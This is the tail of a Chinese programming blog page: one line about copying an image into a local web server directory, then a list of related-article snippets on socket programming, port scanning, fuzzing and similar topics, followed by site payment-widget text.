sudo mv timg1.png /var/www/html

然后重选进入浏览器，输入127.0.0.1，就可以看到自己的网页了
在这里插入图片描述

kelezaji
关注
网络通信Socket的简单案例
代码是程序员的语言，博客是思想的桥梁，连接你我，共享智慧之光。
06-07 459
1.客户端代码2.服务端代码写法一3.服务端写法二3.写法比较。
socket简单使用实例
02-21
简单的socket使用实例，适合初学者使用学习
SOCKET 应用实例
Harriet的博客
12-01 674
一、面向连接的流式套接字 C/S 服务器 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include
socket使用例子
weixin_43825434的博客
03-03 209
java基础 欢迎使用Markdown编辑器 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章，了解一下Markdown的基本语法知识。 Socket 编程 客户端（Socket） 客户端（Socket） public static void main(String[] args) throws IOExcepti...
Socket使用及简单实例
aibian9680的博客
02-12 147
一、搭建服务器端 a)、创建ServerSocket对象绑定监听端口。 b)、通过accept()方法监听客户端的请求。 c)、建立连接后，通过输入输出流读取客户端发送的请求信息。 d)、通过输出流向客户端发送请求信息。 e)、关闭相关资源。 package socket;import java.io.BufferedReader;import java.io.IOEx...
Java Socket使用实例
05-08
java Socket使用实例，两端互相通信，显示信息到窗口，eclipse导入maven项目 maven编译： mvn clean package
基于Python的 socket 编程实战
最新发布
06-15
基于Python的Socket编程实战涉及创建网络应用程序，利用Python内置的socket库实现客户端和服务器之间的通信。Socket编程是一种低级网络编程技术，用于在网络上进行数据传输，支持多种协议，包括TCP和UDP。 首先，...
windows socket编程实战.doc
07-06
本文将深入探讨Windows Socket编程实战中的关键概念和函数，特别是初始化、创建套接字以及结构体hostent的使用。 首先，启动Winsock服务是所有网络编程的第一步。这涉及到调用`WSAStartup()`函数，用于加载Winsock...
Python中基础的socket编程实战攻略
09-21
### Python中基础的socket编程实战攻略 #### 一、Socket编程概述 在现代网络通信中，Socket编程几乎是不可或缺的一部分。Socket可以被视为应用层与TCP/IP协议簇之间的一个软件抽象层，它提供了一种简单的方式让两...
SOCKET应用实例
qqq080的博客
12-10 219
目录一、实验相关概念（一）流式套接字（二）非阻塞模式二、步骤0.先前配置1.面向连接的流式套接字C/S例子2.一个非阻塞的多人聊天服务器例子三、其它 实验目的：完成“网络编程技术”参考书上 “2.12 SOCKET应用实例”中的两个编程实例，并在ubuntu与树莓派之间进行验证。 实验环境：Windows10，Ubuntu18.04，树莓派 参考资料：《网络编程技术》 一、实验相关概念 （一）流式套接字 数据可以在客户端按顺序发送，并且到达服务器的顺序也是一致的。例如，客户端依次发送1、2，服务器接收到
Java-Socket(案例)
BASK2312的博客
06-27 579
套接字(Socket)开发网络应用程序被广泛采用，以至于成为事实上的标准。通信的两端都要有Socket,是两台机器间通信的端点网络通信其实就是Socket间的通信。Socket允许程序把网络连接当成一个流，数据在两个Socketl间通过IO传输。一般主动发起通信的应用程序属客户端，等待通信请求的为服务端基于客户端一服务端的网络通信底层使用的是TCP/IP协议应用场景举例：客户端发送数据，服务端接受并显示控制台基于Socket的TCP编程。
简单的Socket及ServerSocket例子
热门推荐
loveyzhou的专栏
12-18 2万+
刚学习socket，参考了一些资料，实现一个简单的java tcp socket Socket 类 　　socket可以使一个应用从网络中读取和写入数据，不同计算机上的两个应用可以通过连接发送和接受字节流，当发送消息时，你需要知道对方的ip和端口，在java中，socket指的是java.net.Socket类。 　　在java.net.Socket中，可以看到socket有多种构造函数
Socket编程实战th11-12
qq_43643118的博客
12-04 403
Socket编程实战网络编程抓包分析“金庸梦”游戏客户端分析TCP协议原始套接字编程Socket应用实例ngnix完成简单web网站c#编写基于http的浏览器客户端LibCurl库 网络编程抓包分析 “金庸梦”游戏客户端分析TCP协议 原始套接字编程 Ubuntu18.04 虚拟机中将网络适配器设置为桥接模式，否则抓包不成功 创建一个文件 nano teardrop.c，输入著名的teardrop程序，它使用原始套接字，产生虚假的用于欺骗的IP数据包。 #include <stdio.h>
Socket实战
yangrun599的博客
12-06 193
以“金庸梦“游戏的客户端连接服务器、断开服务器为例，用wireshark抓包分析TCP协议的三次握手连接、四次握手断开，与计算机网络原理进行验证；用Fiddler抓包，分析验证一个HTTPS网站的TCP连接过程。 完成“网络编程技术”参考书上 “2.11 原始套接字编程”中的Teardrop代码编程，伪造一个虚假地址的IP包，包的内容填入Fake News。发送此包。并用wireshark抓包进行验证。 完成“网络编程技术”参考书上 “2.12 SOCKET应用实例”中的两个编程实例，并在ubunt
TCP编程——端口扫描器和网游客户端
zero01_的博客
11-19 208
目录简单的端口扫描程序**单线程方式****多线程方式****总结：**简单的网游客户端三、客户端 UI 设计核心代码实现： 简单的端口扫描程序 单线程方式 窗口设计 代码： using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System
AFL afl_fuzz.c 详细分析
子曰小玖的博客
09-27 5045
0.前言 关于AFL的文章有很多，我已经全部总结并写在了文末。 如果是新手或者刚接触AFL，建议先阅读文末文章列表中的内容，先了解了解AFL的基本原理、思路和使用； 如果您想做AFL二次开发或者想了解清楚AFL内部的实现细节，可以看我这篇。我对基本上AFL的每个函数都做了分析，建议先阅读源码然后再看文章，否则可能会比较晕。 阅读AFL afl_fuzz.c的源码实际上需要一定linuxC开发的基础，不过我没有相关基础，然后直接阅读的源码，所以不需要害怕。 最后提供一些建议，先了解AFL运行的整体过
C语言main函数的三个行参的用处
qq_20963687的博客
03-01 1987
通常我们写C语言时，一般都是int main()，不过实际上，他一共有三个行参，分别为int argc,char* argv[],char* envp[]，后面两个都是，在这里我先讲最后一个。
"数独高手"C++源码
xmxoxo的专栏
11-17 1742
        13号发布的C++学习笔记在QQ群里大家提到要把DAT文件等内容贴出来。所以补一下：// 9X9_V101.cpp : Defines the entry point for the console application.///*2006.10.8 xmxoxo write at XiaMenhttp://xmxoxo.blog.hexun.com/问题：在9X9方格中填
Linux Socket编程实战教程及源码分享
### 知识点五：Linux Socket 编程实战 在实际开发中，进行 socket 编程通常需要以下步骤： 1. 创建 socket，指定其类型和协议。 2. 对于服务器端，绑定 socket 到一个 IP 地址和端口上，并监听该端口。 3. 接受...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值